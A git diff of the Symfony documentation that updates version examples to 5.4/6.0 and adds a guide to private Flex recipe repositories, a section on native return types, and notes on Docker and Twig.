    * ``app/Resources/<BundleName>/views/`` -> ``templates/bundles/<BundleName>/``
    * rest of ``app/Resources/`` files -> ``src/Resources/``
 
-#. Move the original PHP source code from ``src/AppBundle/*``, except bundle
+#. Move the original PHP source code files from ``src/AppBundle/*``, except bundle
    specific files (like ``AppBundle.php`` and ``DependencyInjection/``), to
-   ``src/``.
+   ``src/`` and update the namespace of each moved file to be ``App\...`` (advanced
+   IDEs can do this automatically).
 
    In addition to moving the files, update the ``autoload`` and ``autoload-dev``
    values of the ``composer.json`` file as `shown in this example`_ to use
-   ``App\`` and ``App\Tests\`` as the application namespaces (advanced IDEs can
-   do this automatically).
+   ``App\`` and ``App\Tests\`` as the application namespaces.
 
    If you used multiple bundles to organize your code, you must reorganize your
    code into ``src/``. For example, if you had ``src/UserBundle/Controller/DefaultController.php``
@@ -134,6 +134,8 @@ manual steps:
 #. Move the public assets, such as images or compiled CSS/JS files, from
    ``src/AppBundle/Resources/public/`` to ``public/`` (e.g. ``public/images/``).
 
+#. Remove ``src/AppBundle/``.
+
 #. Move the source of the assets (e.g. the SCSS files) to ``assets/`` and use
    :doc:`Webpack Encore </frontend>` to manage and compile them.
 
@@ -149,12 +151,6 @@ manual steps:
 #. Update the ``bin/console`` script `copying Symfony's bin/console source`_
    and changing anything according to your original console script.
 
-#. Remove ``src/AppBundle/``.
-
-#. Move the original source code from ``src/{App,...}Bundle/`` to ``src/`` and
-   update the namespaces of every PHP file to be ``App\...`` (advanced IDEs can do
-   this automatically).
-
 #. Remove the ``bin/symfony_requirements`` script and if you need a replacement
    for it, use the new `Symfony Requirements Checker`_.
 
@@ -193,9 +189,14 @@ If you customize these paths, some files copied from a recipe still may contain
 references to the original path. In other words: you may need to update some things
 manually after a recipe is installed.
 
-.. _`default services.yaml file`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/4.2/config/services.yaml
-.. _`shown in this example`: https://github.com/symfony/skeleton/blob/8e33fe617629f283a12bbe0a6578bd6e6af417af/composer.json#L24-L33
-.. _`shown in this example of the skeleton-project`: https://github.com/symfony/skeleton/blob/8e33fe617629f283a12bbe0a6578bd6e6af417af/composer.json#L44-L46
-.. _`copying Symfony's index.php source`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/5.1/public/index.php
-.. _`copying Symfony's bin/console source`: https://github.com/symfony/recipes/blob/master/symfony/console/5.1/bin/console
+Learn more
+----------
+
+* :doc:`/setup/flex_private_recipes`
+
+.. _`default services.yaml file`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/5.3/config/services.yaml
+.. _`shown in this example`: https://github.com/symfony/skeleton/blob/a0770a7f26eeda9890a104fa3de8f68c4120fca5/composer.json#L30-L39
+.. _`shown in this example of the skeleton-project`: https://github.com/symfony/skeleton/blob/a0770a7f26eeda9890a104fa3de8f68c4120fca5/composer.json#L55-L57
+.. _`copying Symfony's index.php source`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/5.3/public/index.php
+.. _`copying Symfony's bin/console source`: https://github.com/symfony/recipes/blob/master/symfony/console/5.3/bin/console
 .. _`Symfony Requirements Checker`: https://github.com/symfony/requirements-checker
diff --git a/setup/flex_private_recipes.rst b/setup/flex_private_recipes.rst
new file mode 100644
index 00000000000..5941ba2908f
--- /dev/null
+++ b/setup/flex_private_recipes.rst
@@ -0,0 +1,221 @@
+How To Configure and Use Flex Private Recipe Repositories
+=========================================================
+
+Since the `release of version 1.16`_ of ``symfony/flex``, you can build your own
+private Symfony Flex recipe repositories, and seamlessly integrate them into the
+``composer`` package installation and maintenance process.
+
+This is particularly useful when you have private bundles or packages that must
+perform their own installation tasks. To do this, you need to complete several steps:
+
+* Create a private GitHub repository;
+* Create your private recipes;
+* Create an index to the recipes;
+* Store your recipes in the private repository;
+* Grant ``composer`` access to the private repository;
+* Configure your project's ``composer.json`` file; and
+* Install the recipes in your project.
+
+Create a Private GitHub Repository
+----------------------------------
+
+Log in to your GitHub.com account, click your account icon in the top-right
+corner, and select **Your Repositories**. Then click the **New** button, fill in
+the **repository name**, select the **Private** radio button, and click the
+**Create Repository** button.
+
+Create Your Private Recipes
+---------------------------
+
+A ``symfony/flex`` recipe is a JSON file that has the following structure:
+
+.. code-block:: json
+
+    {
+        "manifests": {
+            "acme/package-name": {
+                "manifest": {
+                },
+                "ref": "7405f3af1312d1f9121afed4dddef636c6c7ff00"
+            }
+        }
+    }
+
+If your package is a private Symfony bundle, you will have the following in the recipe:
+
+.. code-block:: json
+
+    {
+        "manifests": {
+            "acme/private-bundle": {
+                "manifest": {
+                    "bundles": {
+                        "Acme\\PrivateBundle\\AcmePrivateBundle": [
+                            "all"
+                        ]
+                    }
+                },
+                "ref": "7405f3af1312d1f9121afed4dddef636c6c7ff00"
+            }
+        }
+    }
+
+Replace ``acme`` and ``private-bundle`` with your own private bundle details.
+The ``"ref"`` entry is a random 40-character string used by ``composer`` to
+determine if your recipe was modified. Every time that you make changes to your
+recipe, you also need to generate a new ``"ref"`` value.
+
+.. tip::
+
+    Use the following PHP script to generate a random ``"ref"`` value::
+
+        echo bin2hex(random_bytes(20));
+
+The ``"all"`` entry tells ``symfony/flex`` to create an entry in your project's
+``bundles.php`` file for all environments. To load your bundle only for the
+``dev`` environment, replace ``"all"`` with ``"dev"``.
+
+The name of your recipe JSON file must conform to the following convention,
+where ``1.0`` is the version number of your bundle (replace ``acme`` and
+``private-bundle`` with your own private bundle or package details):
+
+    ``acme.private-bundle.1.0.json``
+
+You will probably also want ``symfony/flex`` to create configuration files for
+your bundle or package in the project's ``/config/packages`` directory. To do
+that, change the recipe JSON file as follows:
+
+.. code-block:: json
+
+    {
+        "manifests": {
+            "acme/private-bundle": {
+                "manifest": {
+                    "bundles": {
+                        "Acme\\PrivateBundle\\AcmePrivateBundle": [
+                            "all"
+                        ]
+                    },
+                    "copy-from-recipe": {
+                        "config/": "%CONFIG_DIR%"
+                    }
+                },
+                "files": {
+                    "config/packages/acme_private.yaml": {
+                        "contents": [
+                            "acme_private:",
+                            "    encode: true",
+                            ""
+                        ],
+                        "executable": false
+                    }
+                },
+                "ref": "7405f3af1312d1f9121afed4dddef636c6c7ff00"
+            }
+        }
+    }
+
+For more examples of what you can include in a recipe file, browse the
+`Symfony recipe files`_.
+
+Create an Index to the Recipes
+------------------------------
+
+The next step is to create an ``index.json`` file, which will contain entries
+for all your private recipes, and other general configuration information.
+
+The ``index.json`` file has the following format:
+
+.. code-block:: json
+
+    {
+        "recipes": {
+            "acme/private-bundle": [
+                "1.0"
+            ]
+        },
+        "branch": "master",
+        "is_contrib": true,
+        "_links": {
+            "repository": "github.com/your-github-account-name/your-recipes-repository",
+            "origin_template": "{package}:{version}@github.com/your-github-account-name/your-recipes-repository:master",
+            "recipe_template": "https://api.github.com/repos/your-github-account-name/your-recipes-repository/contents/{package_dotted}.{version}.json"
+        }
+    }
+
+Create an entry in ``"recipes"`` for each of your bundle recipes. Replace
+``your-github-account-name`` and ``your-recipes-repository`` with your own details.
+
+Store Your Recipes in the Private Repository
+--------------------------------------------
+
+Upload the recipe ``.json`` file(s) and the ``index.json`` file into the root
+directory of your private GitHub repository.
+
+Grant ``composer`` Access to the Private Repository
+---------------------------------------------------
+
+In your GitHub account, click your account icon in the top-right corner, select
+``Settings`` and ``Developer Settings``. Then select ``Personal Access Tokens``.
+
+Generate a new access token with ``Full control of private repositories``
+privileges. Copy the access token value, switch to the terminal of your local
+computer, and execute the following command:
+
+.. code-block:: terminal
+
+    $ composer config --global --auth github-oauth.github.com [token]
+
+Replace ``[token]`` with the value of your GitHub personal access token.
+
+Configure Your Project's ``composer.json`` File
+-----------------------------------------------
+
+Add the following to your project's ``composer.json`` file:
+
+.. code-block:: json
+
+    {
+        "extra": {
+            "symfony": {
+                "endpoint": [
+                    "https://api.github.com/repos/your-github-account-name/your-recipes-repository/contents/index.json",
+                    "flex://defaults"
+                ]
+            }
+        }
+    }
+
+Replace ``your-github-account-name`` and ``your-recipes-repository`` with your own details.
+
+.. tip::
+
+    The ``extra.symfony`` key will most probably already exist in your
+    ``composer.json``. In that case, add the ``"endpoint"`` key to the existing
+    ``extra.symfony`` entry.
+
+.. tip::
+
+    The ``endpoint`` URL **must** point to ``https://api.github.com/repos`` and
+    **not** to ``https://www.github.com``.
+
+Install the Recipes in Your Project
+-----------------------------------
+
+If your private bundles/packages have not yet been installed in your project,
+run the following command:
+
+.. code-block:: terminal
+
+    $ composer update
+
+If the private bundles/packages have already been installed and you just want to
+install the new private recipes, run the following command:
+
+.. code-block:: terminal
+
+    $ composer recipes
+
+.. _`release of version 1.16`: https://github.com/symfony/cli
+.. _`Symfony recipe files`: https://github.com/symfony/recipes/tree/flex/main
+
diff --git a/setup/homestead.rst b/setup/homestead.rst
index d9526949b55..7143b5adeae 100644
--- a/setup/homestead.rst
+++ b/setup/homestead.rst
@@ -58,7 +58,9 @@ Homestead now supports a Symfony 2 and 3 web layout with ``app.php`` and
 using type ``symfony4``.
 
 At last, edit the hosts file on your local machine to map ``symfony-demo.test``
-to ``192.168.10.10`` (which is the IP used by Homestead)::
+to ``192.168.10.10`` (which is the IP used by Homestead):
+
+.. code-block:: text
 
     # /etc/hosts (unix) or C:\Windows\System32\drivers\etc\hosts (Windows)
     192.168.10.10 symfony-demo.test
diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 0f4d88904d6..173e065cced 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -64,8 +64,8 @@ Enabling PHP-FPM
 
     PHP-FPM must be installed locally for the Symfony server to utilize.
 
-When the server starts it will check for common patterns like ``web/app.php``,
-``web/app_dev.php`` or ``public/index.php``. If a file like this is found the
+When the server starts, it checks for ``web/index_dev.php``, ``web/index.php``,
+``public/app_dev.php``, ``public/app.php`` in that order. If one is found, the
 server will automatically start with PHP-FPM enabled. Otherwise the server will
 start without PHP-FPM and will show a ``Page not found`` page when trying to
 access a ``.php`` file in the browser.
@@ -114,10 +114,10 @@ root directory:
     $ cd my-project/
 
     # use a specific PHP version
-    $ echo 7.2 > .php-version
+    $ echo 7.4 > .php-version
 
-    # use any PHP 7.x version available
-    $ echo 7 > .php-version
+    # use any PHP 8.x version available
+    $ echo 8 > .php-version
 
 .. tip::
 
@@ -275,15 +275,20 @@ server provides a ``run`` command to wrap them as follows:
     # stop the web server (and all the associated commands) when you are finished
     $ symfony server:stop
 
+.. _symfony-server-docker:
+
 Docker Integration
 ------------------
 
 The local Symfony server provides full `Docker`_ integration for projects that
-use it.
+use it. To learn more about Docker & Symfony, see :doc:`docker`.
 
 When the web server detects that Docker Compose is running for the project, it
-automatically exposes environment variables according to the exposed port and
-the name of the ``docker-compose`` services.
+automatically exposes some environment variables.
+
+Via the ``docker-compose`` API, it looks for exposed ports used for common
+services. When it detects one it knows about, it uses the service name to
+expose environment variables.
 
 Consider the following configuration:
 
@@ -299,6 +304,9 @@ project. It understands that this is a MySQL service and creates environment
 variables accordingly with the service name (``database``) as a prefix:
 ``DATABASE_URL``, ``DATABASE_HOST``, ...
 
+If the service is not in the supported list below, generic environment
+variables are set: ``PORT``, ``IP``, and ``HOST``.
+
 If the ``docker-compose.yaml`` names do not match Symfony's conventions, add a
 label to override the environment variables prefix:
 
@@ -333,6 +341,7 @@ Kafka         9092      ``KAFKA_``
 MailCatcher   1025/1080 ``MAILER_``
               or 25/80
 Blackfire     8707      ``BLACKFIRE_``
+Mercure       80        Always exposes ``MERCURE_PUBLIC_URL`` and ``MERCURE_URL`` (only works with the ``dunglas/mercure`` Docker image)
 ============= ========= ======================
 
 You can open web management interfaces for the services that expose them:
@@ -347,7 +356,7 @@ Or click on the links in the "Server" section of the web debug toolbar.
 .. tip::
 
     To debug and list all exported environment variables, run ``symfony
-    var:export``.
+    var:export --debug``.
 
 .. tip::
 
@@ -361,6 +370,20 @@ When Docker services are running, browse a page of your Symfony application and
 check the "Symfony Server" section in the web debug toolbar; you'll see that
 "Docker Compose" is "Up".
 
+.. note::
+
+    If you don't want environment variables to be exposed for a service, set
+    the ``com.symfony.server.service-ignore`` label to ``true``:
+
+    .. code-block:: yaml
+
+        # docker-compose.yaml
+        services:
+            db:
+                ports: [3306]
+                labels:
+                    com.symfony.server.service-ignore: true
+
 If your Docker Compose file is not at the root of the project, use the
 ``COMPOSE_FILE`` and ``COMPOSE_PROJECT_NAME`` environment variables to define
 its location, same as for ``docker-compose``:
diff --git a/setup/unstable_versions.rst b/setup/unstable_versions.rst
index 27036493fd4..6b30a0f785b 100644
--- a/setup/unstable_versions.rst
+++ b/setup/unstable_versions.rst
@@ -8,7 +8,7 @@ Creating a New Project Based on an Unstable Symfony Version
 -----------------------------------------------------------
 
 
-Suppose that the Symfony 4.0 version hasn't been released yet and you want to create
+Suppose that the Symfony 5.4 version hasn't been released yet and you want to create
 a new project to test its features. First, `install the Composer package manager`_.
 Then, open a command console, enter your project's directory and
 run the following command:
@@ -24,7 +24,7 @@ in the ``my_project/`` directory.
 Upgrading your Project to an Unstable Symfony Version
 -----------------------------------------------------
 
-Suppose again that Symfony 4.0 hasn't been released yet and you want to upgrade
+Suppose again that Symfony 5.4 hasn't been released yet and you want to upgrade
 an existing application to test that your project works with it.
 
 First, open the ``composer.json`` file located in the root directory of your
@@ -33,18 +33,18 @@ new version and change your ``minimum-stability`` to ``beta``:
 
 .. code-block:: diff
 
-    {
-        "require": {
-    +         "symfony/framework-bundle": "^4.0",
-    +         "symfony/finder": "^4.0",
-            "...": "..."
-        },
+      {
+          "require": {
+    +         "symfony/framework-bundle": "^5.4",
+    +         "symfony/finder": "^5.4",
+              "...": "..."
+          },
     +     "minimum-stability": "beta"
-    }
+      }
 
 You can also use set ``minimum-stability`` to ``dev``, or omit this line
 entirely, and opt into your stability on each package by using constraints
-like ``4.0.*@beta``.
+like ``5.4.*@beta``.
 
 Finally, from a terminal, update your project's dependencies:
 
@@ -68,7 +68,7 @@ Symfony version has deprecated some of its features.
         $ cd projects/my_project/
         $ git checkout -b testing_new_symfony
         # ... update composer.json configuration
-        $ composer update symfony/symfony
+        $ composer update "symfony/*"
 
         # ... after testing the new Symfony version
         $ git checkout master
diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index 89f80ae109f..f2cffe9679c 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -1,7 +1,7 @@
 .. index::
     single: Upgrading; Major Version
 
-Upgrading a Major Version (e.g. 4.4.0 to 5.0.0)
+Upgrading a Major Version (e.g. 5.4.0 to 6.0.0)
 ===============================================
 
 Every two years, Symfony releases a new major version release (the first number
@@ -30,12 +30,12 @@ backwards incompatible changes. To accomplish this, the "old" (e.g. functions,
 classes, etc) code still works, but is marked as *deprecated*, indicating that
 it will be removed/changed in the future and that you should stop using it.
 
-When the major version is released (e.g. 5.0.0), all deprecated features and
+When the major version is released (e.g. 6.0.0), all deprecated features and
 functionality are removed. So, as long as you've updated your code to stop
 using these deprecated features in the last version before the major (e.g.
-``4.4.*``), you should be able to upgrade without a problem. That means that
+``5.4.*``), you should be able to upgrade without a problem. That means that
 you should first :doc:`upgrade to the last minor version </setup/upgrade_minor>`
-(e.g. 4.4) so that you can see *all* the deprecations.
+(e.g. 5.4) so that you can see *all* the deprecations.
 
 To help you find deprecations, notices are triggered whenever you end up
 using a deprecated feature. When visiting your application in the
@@ -95,10 +95,16 @@ Now, you can start fixing the notices:
 Once you fixed them all, the command ends with ``0`` (success) and you're
 done!
 
+.. caution::
+
+    You will probably see many deprecations about incompatible native
+    return types. See :ref:`Add Native Return Types <upgrading-native-return-types>`
+    for guidance in fixing these deprecations.
+
 .. sidebar:: Using the Weak Deprecations Mode
 
     Sometimes, you can't fix all deprecations (e.g. something was deprecated
-    in 4.4 and you still need to support 4.3). In these cases, you can still
+    in 5.4 and you still need to support 5.3). In these cases, you can still
     use the bridge to fix as many deprecations as possible and then allow
     more of them to make your tests pass again. You can do this by using the
     ``SYMFONY_DEPRECATIONS_HELPER`` env variable:
@@ -131,40 +137,40 @@ starting with ``symfony/`` to the new major version:
 
 .. code-block:: diff
 
-    {
-        "...": "...",
-
-        "require": {
-    -         "symfony/cache": "4.4.*",
-    +         "symfony/cache": "5.0.*",
-    -         "symfony/config": "4.4.*",
-    +         "symfony/config": "5.0.*",
-    -         "symfony/console": "4.4.*",
-    +         "symfony/console": "5.0.*",
-            "...": "...",
-
-            "...": "A few libraries starting with
-                    symfony/ follow their own versioning scheme. You
-                    do not need to update these versions: you can
-                    upgrade them independently whenever you want",
-            "symfony/monolog-bundle": "^3.5",
-        },
-        "...": "...",
-    }
+      {
+          "...": "...",
+
+          "require": {
+    -         "symfony/cache": "5.4.*",
+    +         "symfony/cache": "6.0.*",
+    -         "symfony/config": "5.4.*",
+    +         "symfony/config": "6.0.*",
+    -         "symfony/console": "5.4.*",
+    +         "symfony/console": "6.0.*",
+              "...": "...",
+
+              "...": "A few libraries starting with
+                      symfony/ follow their own versioning scheme. You
+                      do not need to update these versions: you can
+                      upgrade them independently whenever you want",
+              "symfony/monolog-bundle": "^3.5",
+          },
+          "...": "...",
+      }
 
 At the bottom of your ``composer.json`` file, in the ``extra`` block you can
 find a data setting for the Symfony version. Make sure to also upgrade
-this one. For instance, update it to ``5.0.*`` to upgrade to Symfony 5.0:
+this one. For instance, update it to ``6.0.*`` to upgrade to Symfony 6.0:
 
 .. code-block:: diff
 
-    "extra": {
-        "symfony": {
-            "allow-contrib": false,
-    -       "require": "4.4.*"
-    +       "require": "5.0.*"
-        }
-    }
+      "extra": {
+          "symfony": {
+              "allow-contrib": false,
+    -       "require": "5.4.*"
+    +       "require": "6.0.*"
+          }
+      }
 
 Next, use Composer to download new versions of the libraries:
 
@@ -186,3 +192,128 @@ Next, use Composer to download new versions of the libraries:
 In some rare situations, the next major version *may* contain backwards-compatibility
 breaks. Make sure you read the ``UPGRADE-X.0.md`` (where X is the new major version)
 included in the Symfony repository for any BC break that you need to be aware of.
+
+.. _upgrading-native-return-types:
+
+Upgrading to Symfony 6: Add Native Return Types
+-----------------------------------------------
+
+.. versionadded:: 5.4
+
+    The return-type checking and fixing features were introduced in Symfony 5.4.
+
+Symfony 6 will come with native PHP return types to (almost all) methods.
+
+In PHP, if the parent has a return type declaration, any class implementing
+or overriding the method must have the return type as well. However, you
+can add a return type before the parent adds one. This means that it is
+important to add the native PHP return types to your classes before
+upgrading to Symfony 6.0. Otherwise, you will get incompatible declaration
+errors.
+
+When debug mode is enabled (typically in the dev and test environment),
+Symfony will trigger deprecations for every incompatible method
+declarations. For instance, the ``UserInterface::getRoles()`` method will
+have an ``array`` return type in Symfony 6. In Symfony 5.4, you will get a
+deprecation notice about this and you must add the return type declaration
+to your ``getRoles()`` method.
+
+To help with this, Symfony provides a script that can add these return
+types automatically for you. Make sure you installed the ``symfony/error-handler``
+component. When installed, generate a complete class map using Composer and
+run the script to iterate over the class map and fix any incompatible
+method:
+
+.. code-block:: terminal
+
+    # Make sure "exclude-from-classmap" is not filled in your "composer.json". Then dump the autoloader:
+
+    # "-o" is important! This forces Composer to find all classes
+    $ composer dump-autoload -o
+
+    # patch all incompatible method declarations
+    $ ./vendor/bin/patch-type-declarations
+
+.. tip::
+
+    This feature is not limited to Symfony packages. It will also help you
+    add types and prepare for other dependencies in your project.
+
+The behavior of this script can be modified using the ``SYMFONY_PATCH_TYPE_DECLARATIONS``
+env var. The value of this env var is url-encoded (e.g.
+``param1=value2&param2=value2``), the following parameters are available:
+
+``force``
+    Enables fixing return types, the value must be one of:
+
+    * ``2`` to add all possible return types (default, recommended for applications);
+    * ``1`` to add return types only to tests, final, internal or private methods;
+    * ``phpdoc`` to only add ``@return`` docblock annotations to the incompatible
+      methods, or ``#[\ReturnTypeWillChange]`` if it's triggered by the PHP engine.
+
+``php``
+    The target version of PHP - e.g. ``7.1`` doesn't generate "object"
+    types (which were introduced in 7.2). This defaults to the PHP version
+    used when running the script.
+
+``deprecations``
+    Set to ``0`` to disable deprecations. Otherwise, a deprecation notice
+    when a child class misses a return type while the parent declares an
+    ``@return`` annotation (defaults to ``1``).
+
+If there are specific files that should be ignored, you can set the
+``SYMFONY_PATCH_TYPE_EXCLUDE`` env var to a regex. This regex will be
+matched to the full path to the class and each matching path will be
+ignored (e.g. ``SYMFONY_PATCH_TYPE_EXCLUDE="/tests\/Fixtures\//"``).
+Classes in the ``vendor/`` directory are always ignored.
+
+.. tip::
+
+    The script does not care about code style. Run your code style fixer,
+    or `PHP CS Fixer`_ with the ``phpdoc_trim_consecutive_blank_line_separation``,
+    ``no_superfluous_phpdoc_tags`` and ``ordered_imports`` rules, after
+    patching the types.
+
+.. _patching-types-for-open-source-maintainers:
+
+.. sidebar:: Patching Types for Open Source Maintainers
+
+    Open source bundles and packages need to be more cautious with adding
+    return types, as adding a return type forces all users extending the
+    class to add the return type as well. The recommended approach is to
+    use a 2 step process:
+
+    1. First, create a minor release (i.e. without backwards compatibility
+       breaks) where you add types that can be safely introduced and add
+       ``@return`` PHPDoc to all other methods:
+
+       .. code-block:: terminal
+
+           # Add type declarations to all internal, final, tests and private methods.
+           # Update the "php" parameter to match your minimum required PHP version
+           $ SYMFONY_DEPRECATIONS_HELPER="force=1&php=7.4" ./vendor/bin/patch-type-declarations
+
+           # Add PHPDoc to the leftover public and protected methods
+           $ SYMFONY_DEPRECATIONS_HELPER="force=phpdoc&php=7.4" ./vendor/bin/patch-type-declarations
+
+       After running the scripts, check your classes and add more ``@return``
+       PHPDoc where they are missing. The deprecations and patch script
+       work purely based on the PHPDoc information. Users of this release
+       will get deprecation notices telling them to add the missing return
+       types from your package to their code.
+
+       If you didn't need any PHPDoc and all your method declarations are
+       already compatible with Symfony, you can safely allow ``^6.0`` for
+       the Symfony dependencies. Otherwise, you have to continue with (2).
+
+    2. Create a new major release (i.e. *with* backwards compatibility
+       breaks) where you add types to all methods:
+
+       .. code-block:: terminal
+
+           # Update the "php" parameter to match your minimum required PHP version
+           $ SYMFONY_DEPRECATIONS_HELPER="force=2&php=7.4" ./vendor/bin/patch-type-declarations
+
+       Now, you can safely allow ``^6.0`` for the Symfony dependencies.
+
+.. _`PHP CS Fixer`: https://github.com/friendsofphp/php-cs-fixer
diff --git a/setup/upgrade_minor.rst b/setup/upgrade_minor.rst
index 09a88124fa8..09508c0469d 100644
--- a/setup/upgrade_minor.rst
+++ b/setup/upgrade_minor.rst
@@ -28,39 +28,39 @@ probably need to update the version constraint next to each library starting
 
 .. code-block:: diff
 
-    {
-        "...": "...",
+      {
+          "...": "...",
 
-        "require": {
+          "require": {
     -         "symfony/cache": "4.3.*",
     +         "symfony/cache": "4.4.*",
     -         "symfony/config": "4.3.*",
     +         "symfony/config": "4.4.*",
     -         "symfony/console": "4.3.*",
     +         "symfony/console": "4.4.*",
-            "...": "...",
+              "...": "...",
 
-            "...": "A few libraries starting with
-                    symfony/ follow their versioning scheme. You
-                    do not need to update these versions: you can
-                    upgrade them independently whenever you want",
-            "symfony/monolog-bundle": "^3.5",
-        },
-        "...": "...",
-    }
+              "...": "A few libraries starting with
+                      symfony/ follow their own versioning scheme. You
+                      do not need to update these versions: you can
+                      upgrade them independently whenever you want",
+              "symfony/monolog-bundle": "^3.5",
+          },
+          "...": "...",
+      }
 
 Your ``composer.json`` file should also have an ``extra`` block that you will
 *also* need to update:
 
 .. code-block:: diff
 
-    "extra": {
-        "symfony": {
-            "...": "...",
+      "extra": {
+          "symfony": {
+              "...": "...",
     -         "require": "4.3.*"
     +         "require": "4.4.*"
-        }
-    }
+          }
+      }
 
 Next, use Composer to download new versions of the libraries:
 
diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index e4fef9b3d99..70abd214a42 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -127,6 +127,7 @@ and increase web server performance:
         # which will allow Apache to return a 404 error when files are
         # not found instead of passing the request to Symfony
         <Directory /var/www/project/public/bundles>
+            DirectoryIndex disabled
             FallbackResource disabled
         </Directory>
         ErrorLog /var/log/apache2/project_error.log
@@ -176,7 +177,7 @@ Apache with PHP-FPM
 To make use of PHP-FPM with Apache, you first have to ensure that you have
 the FastCGI process manager ``php-fpm`` binary and Apache's FastCGI module
 installed (for example, on a Debian based system you have to install the
-``libapache2-mod-fastcgi`` and ``php7.1-fpm`` packages).
+``libapache2-mod-fastcgi`` and ``php7.4-fpm`` packages).
 
 PHP-FPM uses so-called *pools* to handle incoming FastCGI requests. You can
 configure an arbitrary number of pools in the FPM configuration. In a pool
@@ -191,7 +192,7 @@ listen on. Each pool can also be run under a different UID and GID:
     group = www-data
 
     ; use a unix domain socket
-    listen = /var/run/php/php7.1-fpm.sock
+    listen = /var/run/php/php7.4-fpm.sock
 
     ; or listen on a TCP socket
     listen = 127.0.0.1:9000
@@ -289,7 +290,7 @@ instead:
 
 .. code-block:: apache
 
-    FastCgiExternalServer /usr/lib/cgi-bin/php7-fcgi -socket /var/run/php/php7.1-fpm.sock -pass-header Authorization
+    FastCgiExternalServer /usr/lib/cgi-bin/php7-fcgi -socket /var/run/php/php7.4-fpm.sock -pass-header Authorization
 
 .. _web-server-nginx:
 
@@ -317,7 +318,7 @@ The **minimum configuration** to get your application running under Nginx is:
         # }
 
         location ~ ^/index\.php(/|$) {
-            fastcgi_pass unix:/var/run/php/php7.2-fpm.sock;
+            fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
             fastcgi_split_path_info ^(.+\.php)(/.*)$;
             include fastcgi_params;
 
@@ -333,6 +334,9 @@ The **minimum configuration** to get your application running under Nginx is:
             # Otherwise, PHP's OPcache may not properly detect changes to
             # your PHP files (see https://github.com/zendtech/ZendOptimizerPlus/issues/126
             # for more information).
+            # Caveat: When PHP-FPM is hosted on a different machine from nginx
+            #         $realpath_root may not resolve as you expect! In this case try using
+            #         $document_root instead.
             fastcgi_param SCRIPT_FILENAME $realpath_root$fastcgi_script_name;
             fastcgi_param DOCUMENT_ROOT $realpath_root;
             # Prevents URIs that include the front controller. This will 404:
diff --git a/templates.rst b/templates.rst
index eda99bbbf55..e25bcb790f1 100644
--- a/templates.rst
+++ b/templates.rst
@@ -118,8 +118,8 @@ Template Naming
 
 Symfony recommends the following for template names:
 
-* Use `snake case`_ for filenames and directories (e.g. ``blog_posts.twig``,
-  ``admin/default_theme/blog/index.twig``, etc.);
+* Use `snake case`_ for filenames and directories (e.g. ``blog_posts.html.twig``,
+  ``admin/default_theme/blog/index.html.twig``, etc.);
 * Define two extensions for filenames (e.g. ``index.html.twig`` or
   ``blog_posts.xml.twig``) being the first extension (``html``, ``xml``, etc.)
   the final format that the template will generate.
@@ -164,7 +164,9 @@ in the following order:
 #. ``$foo->getBar()`` (object and *getter* method);
 #. ``$foo->isBar()`` (object and *isser* method);
 #. ``$foo->hasBar()`` (object and *hasser* method);
-#. If none of the above exists, use ``null``.
+#. If none of the above exists, use ``null`` (or throw a ``Twig\Error\RuntimeError``
+   exception if the :ref:`strict_variables <config-twig-strict-variables>`
+   option is enabled).
 
 This allows to evolve your application code without having to change the
 template code (you can start with array variables for the application proof of
@@ -214,6 +216,30 @@ Consider the following routing configuration:
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Controller/BlogController.php
+        namespace App\Controller;
+
+        // ...
+        use Symfony\Component\HttpFoundation\Response;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        class BlogController extends AbstractController
+        {
+            #[Route('/', name: 'blog_index')]
+            public function index(): Response
+            {
+                // ...
+            }
+
+            #[Route('/article/{slug}', name: 'blog_post')]
+            public function show(string $slug): Response
+            {
+                // ...
+            }
+        }
+
     .. code-block:: yaml
 
         # config/routes.yaml
@@ -487,6 +513,9 @@ provided by Symfony:
                 # the path of the template to render
                 template:  'static/privacy.html.twig'
 
+                # the response status code (default: 200)
+                statusCode: 200
+
                 # special options defined by Symfony to set the page cache
                 maxAge:    86400
                 sharedAge: 86400
@@ -513,6 +542,9 @@ provided by Symfony:
                 <!-- the path of the template to render -->
                 <default key="template">static/privacy.html.twig</default>
 
+                <!-- the response status code (default: 200) -->
+                <default key="statusCode">200</default>
+
                 <!-- special options defined by Symfony to set the page cache -->
                 <default key="maxAge">86400</default>
                 <default key="sharedAge">86400</default>
@@ -541,6 +573,9 @@ provided by Symfony:
                     // the path of the template to render
                     'template'  => 'static/privacy.html.twig',
 
+                    // the response status code (default: 200)
+                    'statusCode' => 200,
+
                     // special options defined by Symfony to set the page cache
                     'maxAge'    => 86400,
                     'sharedAge' => 86400,
@@ -561,6 +596,10 @@ provided by Symfony:
 
     The ``context`` option was introduced in Symfony 5.1.
 
+.. versionadded:: 5.4
+
+    The ``statusCode`` option was introduced in Symfony 5.4.
+
 Checking if a Template Exists
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -569,11 +608,14 @@ also provides a method to check for template existence. First, get the loader::
 
     use Twig\Environment;
 
-    // this code assumes that your service uses autowiring to inject dependencies
-    // otherwise, inject the service called 'twig' manually
-    public function __construct(Environment $twig)
+    class YourService
     {
-        $loader = $twig->getLoader();
+        // this code assumes that your service uses autowiring to inject dependencies
+        // otherwise, inject the service called 'twig' manually
+        public function __construct(Environment $twig)
+        {
+            $loader = $twig->getLoader();
+        }
     }
 
 Then, pass the path of the Twig template to the ``exists()`` method of the loader::
@@ -607,6 +649,17 @@ errors. It's useful to run it before deploying your application to production
     # you can also show the deprecated features used in your templates
     $ php bin/console lint:twig --show-deprecations templates/email/
 
+When running the linter inside `GitHub Actions`_, the output is automatically
+adapted to the format required by GitHub, but you can force that format too:
+
+.. code-block:: terminal
+
+    $ php bin/console lint:twig --format=github
+
+.. versionadded:: 5.4
+
+    The ``github`` output format was introduced in Symfony 5.4.
+
 Inspecting Twig Information
